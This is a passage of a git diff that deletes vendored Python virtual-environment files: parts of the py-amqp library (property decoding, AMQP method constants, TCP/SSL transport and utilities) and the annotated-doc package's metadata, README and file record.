= pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0200: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['reply_to'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0100: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['expiration'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0080: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['message_id'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0040: - properties['timestamp'], = unpack_from('>Q', buf, offset) - offset += 8 - if flags & 0x0020: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['type'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0010: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['user_id'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0008: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['app_id'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0004: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['cluster_id'] = pstr_t(buf[offset:offset + slen]) - offset += slen - return properties, offset - - -PROPERTY_CLASSES = { - Basic.CLASS_ID: decode_properties_basic, -} - - -class GenericContent: - """Abstract base class for AMQP content. - - Subclasses should override the PROPERTIES attribute. - """ - - CLASS_ID = None - PROPERTIES = [('dummy', 's')] - - def __init__(self, frame_method=None, frame_args=None, **props): - self.frame_method = frame_method - self.frame_args = frame_args - - self.properties = props - self._pending_chunks = [] - self.body_received = 0 - self.body_size = 0 - self.ready = False - - __slots__ = ( - "frame_method", - "frame_args", - "properties", - "_pending_chunks", - "body_received", - "body_size", - "ready", - # adding '__dict__' to get dynamic assignment - "__dict__", - "__weakref__", - ) - - def __getattr__(self, name): - # Look for additional properties in the 'properties' - # dictionary, and if present - the 'delivery_info' dictionary. - if name == '__setstate__': - # Allows pickling/unpickling to work - raise AttributeError('__setstate__') - - if name in self.properties: - return self.properties[name] - raise AttributeError(name) - - def _load_properties(self, class_id, buf, offset): - """Load AMQP properties. - - Given the raw bytes containing the property-flags and property-list - from a content-frame-header, parse and insert into a dictionary - stored in this object as an attribute named 'properties'. - """ - # Read 16-bit shorts until we get one with a low bit set to zero - props, offset = PROPERTY_CLASSES[class_id](buf, offset) - self.properties = props - return offset - - def _serialize_properties(self): - """Serialize AMQP properties. - - Serialize the 'properties' attribute (a dictionary) into - the raw bytes making up a set of property flags and a - property list, suitable for putting into a content frame header. - """ - shift = 15 - flag_bits = 0 - flags = [] - sformat, svalues = [], [] - props = self.properties - for key, proptype in self.PROPERTIES: - val = props.get(key, None) - if val is not None: - if shift == 0: - flags.append(flag_bits) - flag_bits = 0 - shift = 15 - - flag_bits |= (1 << shift) - if proptype != 'bit': - sformat.append(str_to_bytes(proptype)) - svalues.append(val) - - shift -= 1 - flags.append(flag_bits) - result = BytesIO() - write = result.write - for flag_bits in flags: - write(pack('>H', flag_bits)) - write(dumps(b''.join(sformat), svalues)) - - return result.getvalue() - - def inbound_header(self, buf, offset=0): - class_id, self.body_size = unpack_from('>HxxQ', buf, offset) - offset += 12 - self._load_properties(class_id, buf, offset) - if not self.body_size: - self.ready = True - return offset - - def inbound_body(self, buf): - chunks = self._pending_chunks - self.body_received += len(buf) - if self.body_received >= self.body_size: - if chunks: - chunks.append(buf) - self.body = bytes().join(chunks) - chunks[:] = [] - else: - self.body = buf - self.ready = True - else: - chunks.append(buf) diff --git a/venv/Lib/site-packages/amqp/spec.py b/venv/Lib/site-packages/amqp/spec.py deleted file mode 100644 index 2a1169e1a8792f2a0182dca94073b74824cb9db3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/spec.py +++ /dev/null @@ -1,121 +0,0 @@ -"""AMQP Spec.""" - -from collections import namedtuple - -method_t = namedtuple('method_t', ('method_sig', 'args', 'content')) - - -def method(method_sig, args=None, content=False): - """Create amqp method specification tuple.""" - return method_t(method_sig, args, content) - - -class Connection: - """AMQ Connection class.""" - - CLASS_ID = 10 - - Start = (10, 10) - StartOk = (10, 11) - Secure = (10, 20) - SecureOk = (10, 21) - Tune = (10, 30) - TuneOk = (10, 31) - Open = (10, 40) - OpenOk = (10, 41) - Close = (10, 50) - CloseOk = (10, 51) - Blocked = (10, 60) - Unblocked = (10, 61) - - -class Channel: - """AMQ Channel class.""" - - CLASS_ID = 20 - - Open = (20, 10) - OpenOk = (20, 11) - Flow = (20, 20) - FlowOk = (20, 21) - Close = (20, 40) - CloseOk = (20, 41) - - -class Exchange: - """AMQ Exchange class.""" - - CLASS_ID = 40 - - Declare = (40, 10) - DeclareOk = (40, 11) - Delete = (40, 20) - DeleteOk = (40, 21) - Bind = (40, 30) - BindOk = (40, 31) - Unbind = (40, 40) - UnbindOk = (40, 51) - - -class Queue: - """AMQ Queue class.""" - - CLASS_ID = 50 - - Declare = (50, 10) - DeclareOk = (50, 11) - Bind = (50, 20) - BindOk = (50, 21) - Purge = (50, 30) - PurgeOk = (50, 31) - Delete = (50, 40) - DeleteOk = (50, 41) - Unbind = (50, 50) - UnbindOk = (50, 51) - - -class Basic: - """AMQ Basic class.""" - - CLASS_ID = 60 - - Qos = (60, 10) - QosOk = (60, 11) - Consume = (60, 20) - ConsumeOk = (60, 21) - Cancel = (60, 30) - CancelOk = (60, 31) - Publish = (60, 40) - Return = (60, 50) - Deliver = (60, 60) - Get = (60, 70) - GetOk = (60, 71) - GetEmpty = (60, 72) - Ack = (60, 80) - Nack = (60, 120) - Reject = (60, 90) - RecoverAsync = (60, 100) - Recover = (60, 110) - RecoverOk = (60, 111) - - -class Confirm: - """AMQ Confirm class.""" - - CLASS_ID = 85 - - Select = (85, 10) - SelectOk = (85, 11) - - -class Tx: - """AMQ Tx class.""" - - CLASS_ID = 90 - - Select = (90, 10) - SelectOk = (90, 11) - Commit = (90, 20) - CommitOk = (90, 21) - Rollback = (90, 30) - RollbackOk = (90, 31) diff --git a/venv/Lib/site-packages/amqp/transport.py b/venv/Lib/site-packages/amqp/transport.py deleted file mode 100644 index 3d87e70eb0231f19182526de23cd5ae42d49610d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/transport.py +++ /dev/null @@ -1,679 +0,0 @@ -"""Transport implementation.""" -# Copyright (C) 2009 Barry Pederson - -import errno -import os -import re -import socket -import ssl -from contextlib import contextmanager -from ssl import SSLError -from struct import pack, unpack - -from .exceptions import UnexpectedFrame -from .platform import KNOWN_TCP_OPTS, SOL_TCP -from .utils import set_cloexec - -_UNAVAIL = {errno.EAGAIN, errno.EINTR, errno.ENOENT, errno.EWOULDBLOCK} - -AMQP_PORT = 5672 - -EMPTY_BUFFER = bytes() - -SIGNED_INT_MAX = 0x7FFFFFFF - -# Yes, Advanced Message Queuing Protocol Protocol is redundant -AMQP_PROTOCOL_HEADER = b'AMQP\x00\x00\x09\x01' - -# Match things like: [fe80::1]:5432, from RFC 2732 -IPV6_LITERAL = re.compile(r'\[([\.0-9a-f:]+)\](?::(\d+))?') - -DEFAULT_SOCKET_SETTINGS = { - 'TCP_NODELAY': 1, - 'TCP_USER_TIMEOUT': 1000, - 'TCP_KEEPIDLE': 60, - 'TCP_KEEPINTVL': 10, - 'TCP_KEEPCNT': 9, -} - - -def to_host_port(host, default=AMQP_PORT): - """Convert hostname:port string to host, port tuple.""" - port = default - m = IPV6_LITERAL.match(host) - if m: - host = m.group(1) - if m.group(2): - port = int(m.group(2)) - else: - if ':' in host: - host, port = host.rsplit(':', 1) - port = int(port) - return host, port - - -class _AbstractTransport: - """Common superclass for TCP and SSL transports. - - PARAMETERS: - host: str - - Broker address in format ``HOSTNAME:PORT``. - - connect_timeout: int - - Timeout of creating new connection. - - read_timeout: int - - sets ``SO_RCVTIMEO`` parameter of socket. - - write_timeout: int - - sets ``SO_SNDTIMEO`` parameter of socket. - - socket_settings: dict - - dictionary containing `optname` and ``optval`` passed to - ``setsockopt(2)``. - - raise_on_initial_eintr: bool - - when True, ``socket.timeout`` is raised - when exception is received during first read. See ``_read()`` for - details. - """ - - def __init__(self, host, connect_timeout=None, - read_timeout=None, write_timeout=None, - socket_settings=None, raise_on_initial_eintr=True, **kwargs): - self.connected = False - self.sock = None - self.raise_on_initial_eintr = raise_on_initial_eintr - self._read_buffer = EMPTY_BUFFER - self.host, self.port = to_host_port(host) - self.connect_timeout = connect_timeout - self.read_timeout = read_timeout - self.write_timeout = write_timeout - self.socket_settings = socket_settings - - __slots__ = ( - "connection", - "sock", - "raise_on_initial_eintr", - "_read_buffer", - "host", - "port", - "connect_timeout", - "read_timeout", - "write_timeout", - "socket_settings", - # adding '__dict__' to get dynamic assignment - "__dict__", - "__weakref__", - ) - - def __repr__(self): - if self.sock: - src = f'{self.sock.getsockname()[0]}:{self.sock.getsockname()[1]}' - try: - dst = f'{self.sock.getpeername()[0]}:{self.sock.getpeername()[1]}' - except (socket.error) as e: - dst = f'ERROR: {e}' - return f'<{type(self).__name__}: {src} -> {dst} at {id(self):#x}>' - else: - return f'<{type(self).__name__}: (disconnected) at {id(self):#x}>' - - def connect(self): - try: - # are we already connected? - if self.connected: - return - self._connect(self.host, self.port, self.connect_timeout) - self._init_socket( - self.socket_settings, self.read_timeout, self.write_timeout, - ) - # we've sent the banner; signal connect - # EINTR, EAGAIN, EWOULDBLOCK would signal that the banner - # has _not_ been sent - self.connected = True - except (OSError, SSLError): - # if not fully connected, close socket, and reraise error - if self.sock and not self.connected: - self.sock.close() - self.sock = None - raise - - @contextmanager - def having_timeout(self, timeout): - if timeout is None: - yield self.sock - else: - sock = self.sock - prev = sock.gettimeout() - if prev != timeout: - sock.settimeout(timeout) - try: - yield self.sock - except SSLError as exc: - if 'timed out' in str(exc): - # http://bugs.python.org/issue10272 - raise socket.timeout() - elif 'The operation did not complete' in str(exc): - # Non-blocking SSL sockets can throw SSLError - raise socket.timeout() - raise - except OSError as exc: - if exc.errno == errno.EWOULDBLOCK: - raise socket.timeout() - raise - finally: - if timeout != prev: - sock.settimeout(prev) - - def _connect(self, host, port, timeout): - entries = socket.getaddrinfo( - host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, SOL_TCP, - ) - for i, res in enumerate(entries): - af, socktype, proto, canonname, sa = res - try: - self.sock = socket.socket(af, socktype, proto) - try: - set_cloexec(self.sock, True) - except NotImplementedError: - pass - self.sock.settimeout(timeout) - self.sock.connect(sa) - except socket.error: - if self.sock: - self.sock.close() - self.sock = None - if i + 1 >= len(entries): - raise - else: - break - - def _init_socket(self, socket_settings, read_timeout, write_timeout): - self.sock.settimeout(None) # set socket back to blocking mode - self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) - self._set_socket_options(socket_settings) - - # set socket timeouts - for timeout, interval in ((socket.SO_SNDTIMEO, write_timeout), - (socket.SO_RCVTIMEO, read_timeout)): - if interval is not None: - sec = int(interval) - usec = int((interval - sec) * 1000000) - self.sock.setsockopt( - socket.SOL_SOCKET, timeout, - pack('ll', sec, usec), - ) - self._setup_transport() - - self._write(AMQP_PROTOCOL_HEADER) - - def _get_tcp_socket_defaults(self, sock): - tcp_opts = {} - for opt in KNOWN_TCP_OPTS: - enum = None - if opt == 'TCP_USER_TIMEOUT': - try: - from socket import TCP_USER_TIMEOUT as enum - except ImportError: - # should be in Python 3.6+ on Linux. - enum = 18 - elif hasattr(socket, opt): - enum = getattr(socket, opt) - - if enum: - if opt in DEFAULT_SOCKET_SETTINGS: - tcp_opts[enum] = DEFAULT_SOCKET_SETTINGS[opt] - elif hasattr(socket, opt): - tcp_opts[enum] = sock.getsockopt( - SOL_TCP, getattr(socket, opt)) - return tcp_opts - - def _set_socket_options(self, socket_settings): - tcp_opts = self._get_tcp_socket_defaults(self.sock) - if socket_settings: - tcp_opts.update(socket_settings) - for opt, val in tcp_opts.items(): - self.sock.setsockopt(SOL_TCP, opt, val) - - def _read(self, n, initial=False): - """Read exactly n bytes from the peer.""" - raise NotImplementedError('Must be overridden in subclass') - - def _setup_transport(self): - """Do any additional initialization of the class.""" - pass - - def _shutdown_transport(self): - """Do any preliminary work in shutting down the connection.""" - pass - - def _write(self, s): - """Completely write a string to the peer.""" - raise NotImplementedError('Must be overridden in subclass') - - def close(self): - if self.sock is not None: - try: - self._shutdown_transport() - except OSError: - pass - - # Call shutdown first to make sure that pending messages - # reach the AMQP broker if the program exits after - # calling this method. - try: - self.sock.shutdown(socket.SHUT_RDWR) - except OSError: - pass - - try: - self.sock.close() - except OSError: - pass - self.sock = None - self.connected = False - - def read_frame(self, unpack=unpack): - """Parse AMQP frame. - - Frame has following format:: - - 0 1 3 7 size+7 size+8 - +------+---------+---------+ +-------------+ +-----------+ - | type | channel | size | | payload | | frame-end | - +------+---------+---------+ +-------------+ +-----------+ - octet short long 'size' octets octet - - """ - read = self._read - read_frame_buffer = EMPTY_BUFFER - try: - frame_header = read(7, True) - read_frame_buffer += frame_header - frame_type, channel, size = unpack('>BHI', frame_header) - # >I is an unsigned int, but the argument to sock.recv is signed, - # so we know the size can be at most 2 * SIGNED_INT_MAX - if size > SIGNED_INT_MAX: - part1 = read(SIGNED_INT_MAX) - - try: - part2 = read(size - SIGNED_INT_MAX) - except (socket.timeout, OSError, SSLError): - # In case this read times out, we need to make sure to not - # lose part1 when we retry the read - read_frame_buffer += part1 - raise - - payload = b''.join([part1, part2]) - else: - payload = read(size) - read_frame_buffer += payload - frame_end = ord(read(1)) - except socket.timeout: - self._read_buffer = read_frame_buffer + self._read_buffer - raise - except (OSError, SSLError) as exc: - if ( - isinstance(exc, socket.error) and os.name == 'nt' - and exc.errno == errno.EWOULDBLOCK # noqa - ): - # On windows we can get a read timeout with a winsock error - # code instead of a proper socket.timeout() error, see - # https://github.com/celery/py-amqp/issues/320 - self._read_buffer = read_frame_buffer + self._read_buffer - raise socket.timeout() - - if isinstance(exc, SSLError) and 'timed out' in str(exc): - # Don't disconnect for ssl read time outs - # http://bugs.python.org/issue10272 - self._read_buffer = read_frame_buffer + self._read_buffer - raise socket.timeout() - - if exc.errno not in _UNAVAIL: - self.connected = False - raise - # frame-end octet must contain '\xce' value - if frame_end == 206: - return frame_type, channel, payload - else: - raise UnexpectedFrame( - f'Received frame_end {frame_end:#04x} while expecting 0xce') - - def write(self, s): - try: - self._write(s) - except socket.timeout: - raise - except OSError as exc: - if exc.errno not in _UNAVAIL: - self.connected = False - raise - - -class SSLTransport(_AbstractTransport): - """Transport that works over SSL. - - PARAMETERS: - host: str - - Broker address in format ``HOSTNAME:PORT``. - - connect_timeout: int - - Timeout of creating new connection. - - ssl: bool|dict - - parameters of TLS subsystem. - - when ``ssl`` is not dictionary, defaults of TLS are used - - otherwise: - - if ``ssl`` dictionary contains ``context`` key, - :attr:`~SSLTransport._wrap_context` is used for wrapping - socket. ``context`` is a dictionary passed to - :attr:`~SSLTransport._wrap_context` as context parameter. - All others items from ``ssl`` argument are passed as - ``sslopts``. - - if ``ssl`` dictionary does not contain ``context`` key, - :attr:`~SSLTransport._wrap_socket_sni` is used for - wrapping socket. All items in ``ssl`` argument are - passed to :attr:`~SSLTransport._wrap_socket_sni` as - parameters. - - kwargs: - - additional arguments of - :class:`~amqp.transport._AbstractTransport` class - """ - - def __init__(self, host, connect_timeout=None, ssl=None, **kwargs): - self.sslopts = ssl if isinstance(ssl, dict) else {} - self._read_buffer = EMPTY_BUFFER - super().__init__( - host, connect_timeout=connect_timeout, **kwargs) - - __slots__ = ( - "sslopts", - ) - - def _setup_transport(self): - """Wrap the socket in an SSL object.""" - self.sock = self._wrap_socket(self.sock, **self.sslopts) - # Explicitly set a timeout here to stop any hangs on handshake. - self.sock.settimeout(self.connect_timeout) - self.sock.do_handshake() - self._quick_recv = self.sock.read - - def _wrap_socket(self, sock, context=None, **sslopts): - if context: - return self._wrap_context(sock, sslopts, **context) - return self._wrap_socket_sni(sock, **sslopts) - - def _wrap_context(self, sock, sslopts, check_hostname=None, **ctx_options): - """Wrap socket without SNI headers. - - PARAMETERS: - sock: socket.socket - - Socket to be wrapped. - - sslopts: dict - - Parameters of :attr:`ssl.SSLContext.wrap_socket`. - - check_hostname - - Whether to match the peer cert’s hostname. See - :attr:`ssl.SSLContext.check_hostname` for details. - - ctx_options - - Parameters of :attr:`ssl.create_default_context`. - """ - ctx = ssl.create_default_context(**ctx_options) - ctx.check_hostname = check_hostname - return ctx.wrap_socket(sock, **sslopts) - - def _wrap_socket_sni(self, sock, keyfile=None, certfile=None, - server_side=False, cert_reqs=None, - ca_certs=None, do_handshake_on_connect=False, - suppress_ragged_eofs=True, server_hostname=None, - ciphers=None, ssl_version=None): - """Socket wrap with SNI headers. - - stdlib :attr:`ssl.SSLContext.wrap_socket` method augmented with support - for setting the server_hostname field required for SNI hostname header. - - PARAMETERS: - sock: socket.socket - - Socket to be wrapped. - - keyfile: str - - Path to the private key - - certfile: str - - Path to the certificate - - server_side: bool - - Identifies whether server-side or client-side - behavior is desired from this socket. See - :attr:`~ssl.SSLContext.wrap_socket` for details. - - cert_reqs: ssl.VerifyMode - - When set to other than :attr:`ssl.CERT_NONE`, peers certificate - is checked. Possible values are :attr:`ssl.CERT_NONE`, - :attr:`ssl.CERT_OPTIONAL` and :attr:`ssl.CERT_REQUIRED`. - - ca_certs: str - - Path to “certification authority” (CA) certificates - used to validate other peers’ certificates when ``cert_reqs`` - is other than :attr:`ssl.CERT_NONE`. - - do_handshake_on_connect: bool - - Specifies whether to do the SSL - handshake automatically. See - :attr:`~ssl.SSLContext.wrap_socket` for details. - - suppress_ragged_eofs (bool): - - See :attr:`~ssl.SSLContext.wrap_socket` for details. - - server_hostname: str - - Specifies the hostname of the service which - we are connecting to. See :attr:`~ssl.SSLContext.wrap_socket` - for details. - - ciphers: str - - Available ciphers for sockets created with this - context. See :attr:`ssl.SSLContext.set_ciphers` - - ssl_version: - - Protocol of the SSL Context. The value is one of - ``ssl.PROTOCOL_*`` constants. - """ - opts = { - 'sock': sock, - 'server_side': server_side, - 'do_handshake_on_connect': do_handshake_on_connect, - 'suppress_ragged_eofs': suppress_ragged_eofs, - 'server_hostname': server_hostname, - } - - if ssl_version is None: - ssl_version = ( - ssl.PROTOCOL_TLS_SERVER - if server_side - else ssl.PROTOCOL_TLS_CLIENT - ) - - context = ssl.SSLContext(ssl_version) - - if certfile is not None: - context.load_cert_chain(certfile, keyfile) - if ca_certs is not None: - context.load_verify_locations(ca_certs) - if ciphers is not None: - context.set_ciphers(ciphers) - # Set SNI headers if supported. - # Must set context.check_hostname before setting context.verify_mode - # to avoid setting context.verify_mode=ssl.CERT_NONE while - # context.check_hostname is still True (the default value in context - # if client-side) which results in the following exception: - # ValueError: Cannot set verify_mode to CERT_NONE when check_hostname - # is enabled. - try: - context.check_hostname = ( - ssl.HAS_SNI and server_hostname is not None - ) - except AttributeError: - pass # ask forgiveness not permission - - # See note above re: ordering for context.check_hostname and - # context.verify_mode assignments. - if cert_reqs is not None: - context.verify_mode = cert_reqs - - if ca_certs is None and context.verify_mode != ssl.CERT_NONE: - purpose = ( - ssl.Purpose.CLIENT_AUTH - if server_side - else ssl.Purpose.SERVER_AUTH - ) - context.load_default_certs(purpose) - - sock = context.wrap_socket(**opts) - return sock - - def _shutdown_transport(self): - """Unwrap a SSL socket, so we can call shutdown().""" - if self.sock is not None: - self.sock = self.sock.unwrap() - - def _read(self, n, initial=False, - _errnos=(errno.ENOENT, errno.EAGAIN, errno.EINTR)): - # According to SSL_read(3), it can at most return 16kb of data. - # Thus, we use an internal read buffer like TCPTransport._read - # to get the exact number of bytes wanted. - recv = self._quick_recv - rbuf = self._read_buffer - try: - while len(rbuf) < n: - try: - s = recv(n - len(rbuf)) # see note above - except OSError as exc: - # ssl.sock.read may cause ENOENT if the - # operation couldn't be performed (Issue celery#1414). - if exc.errno in _errnos: - if initial and self.raise_on_initial_eintr: - raise socket.timeout() - continue - raise - if not s: - raise OSError('Server unexpectedly closed connection') - rbuf += s - except: # noqa - self._read_buffer = rbuf - raise - result, self._read_buffer = rbuf[:n], rbuf[n:] - return result - - def _write(self, s): - """Write a string out to the SSL socket fully.""" - write = self.sock.write - while s: - try: - n = write(s) - except ValueError: - # AG: sock._sslobj might become null in the meantime if the - # remote connection has hung up. - # In python 3.4, a ValueError is raised is self._sslobj is - # None. - n = 0 - if not n: - raise OSError('Socket closed') - s = s[n:] - - -class TCPTransport(_AbstractTransport): - """Transport that deals directly with TCP socket. - - All parameters are :class:`~amqp.transport._AbstractTransport` class. - """ - - def _setup_transport(self): - # Setup to _write() directly to the socket, and - # do our own buffered reads. - self._write = self.sock.sendall - self._read_buffer = EMPTY_BUFFER - self._quick_recv = self.sock.recv - - def _read(self, n, initial=False, _errnos=(errno.EAGAIN, errno.EINTR)): - """Read exactly n bytes from the socket.""" - recv = self._quick_recv - rbuf = self._read_buffer - try: - while len(rbuf) < n: - try: - s = recv(n - len(rbuf)) - except OSError as exc: - if exc.errno in _errnos: - if initial and self.raise_on_initial_eintr: - raise socket.timeout() - continue - raise - if not s: - raise OSError('Server unexpectedly closed connection') - rbuf += s - except: # noqa - self._read_buffer = rbuf - raise - - result, self._read_buffer = rbuf[:n], rbuf[n:] - return result - - -def Transport(host, connect_timeout=None, ssl=False, **kwargs): - """Create transport. - - Given a few parameters from the Connection constructor, - select and create a subclass of - :class:`~amqp.transport._AbstractTransport`. - - PARAMETERS: - - host: str - - Broker address in format ``HOSTNAME:PORT``. - - connect_timeout: int - - Timeout of creating new connection. - - ssl: bool|dict - - If set, :class:`~amqp.transport.SSLTransport` is used - and ``ssl`` parameter is passed to it. Otherwise - :class:`~amqp.transport.TCPTransport` is used. - - kwargs: - - additional arguments of :class:`~amqp.transport._AbstractTransport` - class - """ - transport = SSLTransport if ssl else TCPTransport - return transport(host, connect_timeout=connect_timeout, ssl=ssl, **kwargs) diff --git a/venv/Lib/site-packages/amqp/utils.py b/venv/Lib/site-packages/amqp/utils.py deleted file mode 100644 index 8ba5f670002137dc9b26438c6022aef35bb4e4f8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/utils.py +++ /dev/null @@ -1,64 +0,0 @@ -"""Compatibility utilities.""" -import logging -from logging import NullHandler - -# enables celery 3.1.23 to start again -from vine import promise # noqa -from vine.utils import wraps - -try: - import fcntl -except ImportError: # pragma: no cover - fcntl = None # noqa - - -def set_cloexec(fd, cloexec): - """Set flag to close fd after exec.""" - if fcntl is None: - return - try: - FD_CLOEXEC = fcntl.FD_CLOEXEC - except AttributeError: - raise NotImplementedError( - 'close-on-exec flag not supported on this platform', - ) - flags = fcntl.fcntl(fd, fcntl.F_GETFD) - if cloexec: - flags |= FD_CLOEXEC - else: - flags &= ~FD_CLOEXEC - return fcntl.fcntl(fd, fcntl.F_SETFD, flags) - - -def coro(gen): - """Decorator to mark generator as a co-routine.""" - @wraps(gen) - def _boot(*args, **kwargs): - co = gen(*args, **kwargs) - next(co) - return co - - return _boot - - -def str_to_bytes(s): - """Convert str to bytes.""" - if isinstance(s, str): - return s.encode('utf-8', 'surrogatepass') - return s - - -def bytes_to_str(s): - """Convert bytes to str.""" - if isinstance(s, bytes): - return s.decode('utf-8', 'surrogatepass') - return s - - -def get_logger(logger): - """Get logger by name.""" - if isinstance(logger, str): - logger = logging.getLogger(logger) - if not logger.handlers: - logger.addHandler(NullHandler()) - return logger diff --git a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/INSTALLER b/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/METADATA b/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/METADATA deleted file mode 100644 index d162dc81d27f56c4b7add382e32082f311ba1f09..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/METADATA +++ /dev/null @@ -1,144 +0,0 @@ -Metadata-Version: 2.4 -Name: annotated-doc -Version: 0.0.5 -Summary: Document parameters, class attributes, return types, and variables inline, with Annotated. -Author-Email: =?utf-8?q?Sebasti=C3=A1n_Ram=C3=ADrez?= -License-Expression: MIT -License-File: LICENSE -Classifier: Intended Audience :: Information Technology -Classifier: Intended Audience :: System Administrators -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python -Classifier: Topic :: Internet -Classifier: Topic :: Software Development :: Libraries :: Application Frameworks -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Classifier: Topic :: Software Development :: Libraries -Classifier: Topic :: Software Development -Classifier: Typing :: Typed -Classifier: Development Status :: 4 - Beta -Classifier: Intended Audience :: Developers -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Project-URL: Homepage, https://github.com/fastapi/annotated-doc -Project-URL: Documentation, https://github.com/fastapi/annotated-doc -Project-URL: Repository, https://github.com/fastapi/annotated-doc -Project-URL: Issues, https://github.com/fastapi/annotated-doc/issues -Project-URL: Changelog, https://github.com/fastapi/annotated-doc/release-notes.md -Requires-Python: >=3.9 -Description-Content-Type: text/markdown - -# Annotated Doc - -Document parameters, class attributes, return types, and variables inline, with `Annotated`. - - - Test - - - Coverage - - - Package version - - - Supported Python versions - - -## Installation - -```bash -pip install annotated-doc -``` - -Or with `uv`: - -```Python -uv add annotated-doc -``` - -## Usage - -Import `Doc` and pass a single literal string with the documentation for the specific parameter, class attribute, return type, or variable. - -For example, to document a parameter `name` in a function `hi` you could do: - -```Python -from typing import Annotated - -from annotated_doc import Doc - -def hi(name: Annotated[str, Doc("Who to say hi to")]) -> None: - print(f"Hi, {name}!") -``` - -You can also use it to document class attributes: - -```Python -from typing import Annotated - -from annotated_doc import Doc - -class User: - name: Annotated[str, Doc("The user's name")] - age: Annotated[int, Doc("The user's age")] -``` - -The same way, you could document return types and variables, or anything that could have a type annotation with `Annotated`. - -## Who Uses This - -`annotated-doc` was made for: - -* [FastAPI](https://fastapi.tiangolo.com/) -* [Typer](https://typer.tiangolo.com/) -* [SQLModel](https://sqlmodel.tiangolo.com/) -* [Asyncer](https://asyncer.tiangolo.com/) - -`annotated-doc` is supported by [griffe-typingdoc](https://github.com/mkdocstrings/griffe-typingdoc), which powers reference documentation like the one in the [FastAPI Reference](https://fastapi.tiangolo.com/reference/). - -## Reasons not to use `annotated-doc` - -You are already comfortable with one of the existing docstring formats, like: - -* Sphinx -* numpydoc -* Google -* Keras - -Your team is already comfortable using them. - -You prefer having the documentation about parameters all together in a docstring, separated from the code defining them. - -You care about a specific set of users, using one specific editor, and that editor already has support for the specific docstring format you use. - -## Reasons to use `annotated-doc` - -* No micro-syntax to learn for newcomers, it’s **just Python** syntax. -* **Editing** would be already fully supported by default by any editor (current or future) supporting Python syntax, including syntax errors, syntax highlighting, etc. -* **Rendering** would be relatively straightforward to implement by static tools (tools that don't need runtime execution), as the information can be extracted from the AST they normally already create. -* **Deduplication of information**: the name of a parameter would be defined in a single place, not duplicated inside of a docstring. -* **Elimination** of the possibility of having **inconsistencies** when removing a parameter or class variable and **forgetting to remove** its documentation. -* **Minimization** of the probability of adding a new parameter or class variable and **forgetting to add its documentation**. -* **Elimination** of the possibility of having **inconsistencies** between the **name** of a parameter in the **signature** and the name in the docstring when it is renamed. -* **Access** to the documentation string for each symbol at **runtime**, including existing (older) Python versions. -* A more formalized way to document other symbols, like type aliases, that could use Annotated. -* **Support** for apps using FastAPI, Typer and others. -* **AI Accessibility**: AI tools will have an easier way understanding each parameter as the distance from documentation to parameter is much closer. - -## History - -I ([@tiangolo](https://github.com/tiangolo)) originally wanted for this to be part of the Python standard library (in [PEP 727](https://peps.python.org/pep-0727/)), but the proposal was withdrawn as there was a fair amount of negative feedback and opposition. - -The conclusion was that this was better done as an external effort, in a third-party library. - -So, here it is, with a simpler approach, as a third-party library, in a way that can be used by others, starting with FastAPI and friends. - -## License - -This project is licensed under the terms of the MIT license. diff --git a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/RECORD b/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/RECORD deleted file mode 100644 index 664b805bcc8ae4f420ee3e91ff8f0a1176f9aff0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/RECORD +++ /dev/null @@ -1,11 +0,0 @@ -annotated_doc-0.0.5.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -annotated_doc-0.0.5.dist-info/METADATA,sha256=jCTXDF2RU9IhIzU6kGBC_XYD3y0VwhlikLD4qWJVjEY,6516 -annotated_doc-0.0.5.dist-info/RECORD,, -annotated_doc-0.0.5.dist-info/WHEEL,sha256=VP-D4TPS230sME9Z3vb3INXvo1yt0924YRm5AOsk_dE,90 -annotated_doc-0.0.5.dist-info/entry_points.txt,sha256=6OYgBcLyFCUgeqLgnvMyOJxPCWzgy7se4rLPKtNonMs,34 -annotated_doc-0.0.5.dist-info/licenses/LICENSE,sha256=__Fwd5pqy_ZavbQFwIfxzuF4ZpHkqWpANFF-SlBKDN8,1086 -annotated_doc/__init__.py,sha256=UqEV5evgeySQ5yvJQwfwTqwvMGfIwbxRPP4gf-o2-LA,52 -annotated_doc/__pycache__/__init__.cpython-314.pyc,, 